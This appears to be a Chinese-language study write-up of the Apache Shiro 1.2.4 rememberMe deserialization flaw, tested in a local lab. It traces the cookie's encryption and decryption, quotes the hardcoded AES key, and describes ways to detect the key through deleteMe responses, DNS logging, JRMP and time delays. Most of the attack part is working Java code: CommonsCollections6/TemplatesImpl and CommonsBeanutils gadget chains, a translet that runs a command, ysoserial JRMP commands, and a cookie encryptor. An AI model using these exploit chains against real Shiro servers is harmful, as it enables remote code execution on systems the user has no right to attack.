環境
這里是使用的P牛提供的環境【shiro1.2.4】
https://github.com/phith0n/JavaThings/blob/master/shirodemo
漏洞原理
根據漏洞描述,Shiro≤1.2.4版本默認使用CookieRememberMeManager,當獲取用戶請求時,大致的關鍵處理過程如下:
獲取rememberMe值 -> Base64解密 -> AES解密 -> 調用readobject反序列化操做
Shiro v1.2.4中使用RememberMe
功能時,使用了AES
對Cookie
進行加密,但AES
密鑰硬編碼在代碼中且不變,因此可以進行加密解密,並觸發反序列化漏洞完成任意代碼執行。
加密過程
在org/apache/shiro/mgt/DefaultSecurityManager.java代碼的rememberMeSuccessfulLogin
方法下斷點。
跟進onSuccessfulLogin
方法
調用forgetIdentity
方法對subject進行處理。subject可以理解為用戶,對於用戶的安全操作等
https://blog.csdn.net/qq_21046665/article/details/79735922
跟進forgetIdentity
先是獲取request和response然后繼續調用forgetIdentity
getCookie
就是獲取cookie,removerFrom
其實就是在respons頭部設置Set-Cookie:rememberMe=deleteMe
回到onSuccessfulLogin
如果設置RememberMe
進入rememberIdentity
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
}
rememberIdentity
方法代碼中,調用convertPrincipalsToBytes
對用戶名進行處理。
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}
進入convertPrincipalsToBytes
調用serialize對用戶名進行處理。
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}
跟進serialize
方法來到org/apache/shiro/io/DefaultSerializer.java,顯然對用戶名進行了序列化操作
再回到convertPrincipalsToBytes
,接着對序列化的數據進行加密,跟進encrypt
方法。加密算法為AES,模式為CBC,填充算法為PKCS5Padding。
然后入跟進encrypt
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}
其中getEncryptionCipherKey()
進過尋找他是獲取加密的密鑰,在AbstractRememberMeManager.java定義了默認的加密密鑰為kPH+bIxk5D2deZiIxcaaaA==。
加密完成之后返回rememberIdentity
進入rememberSerializedIdentity
對加密的bytes進行base64編碼,保存在cookie中
解密過程
KEY構造Payload正確的情況
對cookie中rememberMe的解密代碼也是在AbstractRememberMeManager.java中實現。直接在getRememberedPrincipals
下斷點。
getRememberedSerializedIdentity
返回解碼后的bytes
返回getRememberedPrincipals
到進入convertBytesToPrincipals
進行解密然后返回bytes數據
進入deserialize(bytes),這里提醒下deserialize類型是PrincipalCollection
后面需要用上
進行反序列化返回,其中有一些坑需要注意ClassResolvingObjectInputStream
是ObjectInputStream
的子類,其重寫了 resolveClass
方法,這個后面再提吧。
KEY正確Payload錯誤的情況1
解密錯誤會直接拋出異常到
跟進之后到forgetIdentity(context)
也就和上面加密那個一樣了設置respons頭部設置Set-Cookie:rememberMe=deleteMe
KEY正確Payload錯誤的情況2
還有一種情況是在反序列化的 gadget 實際上並不是繼承了 PrincipalCollection ,所以這里進行類型轉換會報錯。也就是我們上面提到的查看類型的坑一,后面流程和上面也是一樣了。
漏洞檢測與Key的獲取
檢測Shiro當然第一步是檢測該WEB站點是否使用了Shiro,最簡單的方法就是請求的Cookie添加rememberMe=xxx,然后看響應是否返回Set-Cookie: rememberMe=deleteMe。
其次我們的Key以及gadget都是未知的,如果對KEY和gadget進行遍歷嘗試,那枚舉的次數就是笛卡爾積
並且KEY都沒檢測出來跑gadget也是無用功。
依賴shiro自身進行key檢測
所以根據上面提到的解密的流程,要想達到只依賴shiro自身進行key檢測,只需要滿足兩點:
1.構造一個繼承 PrincipalCollection 的序列化對象。
2.key正確情況下不返回 deleteMe
,key錯誤情況下返回 deleteMe
。
基於這兩個條件下 SimplePrincipalCollection
這個類自然就出現了,這個類可被序列化,繼承了 PrincipalCollection
public class PrincipalCollection_shiro {
public static void main(String[] args) throws IOException, InterruptedException {
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream obj = new ObjectOutputStream(barr);
obj.writeObject(simplePrincipalCollection);
AesCipherService aes = new AesCipherService();
byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
obj.close();
}
}
當Key正確時不返回rememberMe=deleteMe
當Key錯誤時返回rememberMe=deleteMe
結合Dnslog與URLDNS檢測Key
如果目標機器出出網我們也可以使用URLDNS進行探測,可以在對應的頭部添加Key的前綴來進行爆破Key,代碼也是直接使用ysoserial的即可。需要注意的是使用URLDNS檢測后DNSLOG平台存在DNS記錄並不完全等同於可以出外網,還有可能是目標只支持DNS解析,但是TCP協議等是不能出外網。其次,可以通過CommonBeanutils1等其他gadget執行wget或者curl命令,這里需要考慮操作系統情況,Windows則是certutil等命令。
利用時間延遲或報錯
時間延遲
可以利用createTemplatesImplTime
鏈創建即可對於沒有使用createTemplatesImplTime
鏈的進行反射+Transformer創建就OK。
Thread.currentThread().sleep(10000L);
報錯
需要考慮java異常的返回報錯或者提示,大多時候這是一種不可靠的方法
String result = "shiro-Vul-Discover";
throw new NoClassDefFoundError(new String(result));
利用JRMP協議
@xiashang師傅提供的思路,例如我們JRMPClient ‘xxx.dnslog.cn’
可能目標機器並不支持DNS解析,但是他是出網的,所以可以我們VPS監聽然后Client反連我們的vps我們VPS去dnslog檢測即可。
利用方式
這里以兩種方式來記錄學習。一種是有commons-collections-3.2.1
依賴另一種是沒有依賴的情況來學習。因為自帶的shiro550用的是commons-collections-3.2.1
,當然目標機器如果沒裝也是可以正常運行沒問題的。
有依賴的利用鏈
經過上面的知識我們也已經知道了,shiro的利用流程。所以我們先直接用cc6生成exp盲打
無法加載類名為cc.Transfomer的類[[代表是一個數組
這里直接說結論吧Tomcat
和JDK
的Classpath
是不公用且不同的,Tomcat
啟動時,不會用JDK
的Classpath
,需要在catalina.sh
中進行單獨設置。所以我們不能包含非java自身數組。
建議閱讀以下文章及其自己調試理解更加深刻:
https://xz.aliyun.com/t/7950#toc-3
https://blog.zsxsoft.com/post/35
這里前輩們大概提供的方法也是很多列舉兩個。一個是JRMP一個是無數組
JRMP
orange師傅在此文提到了JRMP來反彈shell,JRMP原理可以看上一文。
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
java -jar ysoserial.jar ysoserial.payloads.JRMPClient "127.0.0.1:9997" > 2
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9997 CommonsCollections6 "calc"
生成base64編碼的byte流代碼
public class shiro_jm {
public static void main(String[] args) throws IOException {
File file = new File("C:\\Users\\Administrator\\Desktop\\2");
FileInputStream inputFile = new FileInputStream(file);
byte[] buffer = new byte[(int)file.length()];
inputFile.read(buffer);
AesCipherService aes = new AesCipherService();
byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(buffer, key);
System.out.printf(ciphertext.toString());
}
}
CommonsCollectionsK1鏈
我們在CC3學的TemplatesImpl
就要登場了。其中cc3也是包含Transformer[]
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
cc6又用到了TiedMapEntry
類,他有兩個參數,因為我們用到了ConstantTransformer
這個類所以我們不需要管key的內容到底是什么就可以RCE
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
但是因為不能用ChainedTransformer
所以我們查看TiedMapEntry
類的key,此類下面有getValue
調用了map的get方法,並傳入key:
public Object getValue() {
return map.get(key);
}
當這個map是LazyMap時,其get方法就是觸發transform的關鍵點
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
所以就比較巧我們直接把構造好的對象放到key的位置就可以了。
構造惡意對象
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() throws IOException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, InterruptedException {
super();
// Thread.currentThread().sleep(10000L);
Runtime.getRuntime().exec("calc.exe");
}
}
cc6_Templates
public class cc6_Templates {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
// outerMap.remove("valuevalue");
setFieldValue(transformer, "iMethodName", "newTransformer");
serialize(expMap);
unserialize("cc6_templates.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6_templates.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
System.out.println(obj);
}
}
無依賴的利用方式
上面在利用方式也說到shiro無commons-collections也是可以正常使用的,我們現在嘗試把maven里面的cc依賴注釋掉我們可以看到Commons-beanutils
包是存在的
commons-beanutils
本來依賴於commons-collections
,但是在Shiro中,它的commons-beanutils
雖
然包含了一部分commons-collections
的類,但卻不全。這也導致,正常使用Shiro的時候不需要依賴於commons-collections,但反序列化利用的時候需要依賴於commons-collections
學過Commons Beanutils
鏈的人應該清楚干嘛的,這里簡單介紹一下。
commons-beanutils
中提供了一個靜態方法 PropertyUtils.getProperty
,讓使用者可以直接調用任
意JavaBean的getter
方法,比如:
PropertyUtils.getProperty(new Cat(), "name");
就不需要去手動輸入getname函數調用了。
而我們使用commons-beanutils
鏈的時候需要用到BeanComparator
類,而初始化BeanComparator
會調用
org.apache.commons.collections.comparators.ComparableComparator
類所以我們還是得使用commons.collections包
我們再去看下BeanComparator
的構造函數看下comparator是否可控呢是否可以替換掉commons.collections下的comparator呢?
我們發現是可以通過傳參控制的如果不傳參就默認使用commons.collections類
所以我們現在需要找到一個類來替換它,當然需要滿足一些條件:
-
實現 java.util.Comparator 接口
-
實現 java.io.Serializable 接口
-
Java、shiro或commons-beanutils自帶,且兼容性強
根據P牛的文章找到的類是 CaseInsensitiveComparator
,當然還可以使用java.util.Collection$ReverseComparator
等
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
這個 CaseInsensitiveComparator
類是 java.lang.String
類下的一個內部私有類,其實現了
Comparator 和 Serializable ,且位於Java的核心代碼中,兼容性強,是一個完美替代品
public class CommonsBeanutils_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {
ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// Comparator comparator = new TransformingComparator(transformer);
// BeanComparator comparator = new BeanComparator();
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add("1");
priorityQueue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
unserialize("CommonsBeanutils.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CommonsBeanutils.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
System.out.println(obj);
}
}
那我們直接打過去會發現
serialVersionUID不一致
如果兩個不同版本的庫使用了同一個類,而這兩個類可能有一些方法和屬性有了變化,此時在序列化通
信的時候就可能因為不兼容導致出現隱患。因此,Java在反序列化的時候提供了一個機制,序列化時會
根據固定算法計算出一個當前類的 serialVersionUID 值,寫入數據流中;反序列化時,如果發現對方
的環境中這個類計算出的 serialVersionUID 不同,則反序列化就會異常退出,避免后續的未知隱患【來自p牛】
因為我們環境版本是1.8.3而我們序列化對象commons-beanutils是1.9.2所以當我們兩個版本相同的時候
還有很多的利用手法,以及內網不出網等復雜情況。后面再一一學習。
參考:
https://sec-in.com/article/468
https://blog.zsxsoft.com/post/35
https://sec-in.com/article/468
https://www.anquanke.com/post/id/192619#h2-2
https://xz.aliyun.com/t/7950#toc-3
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/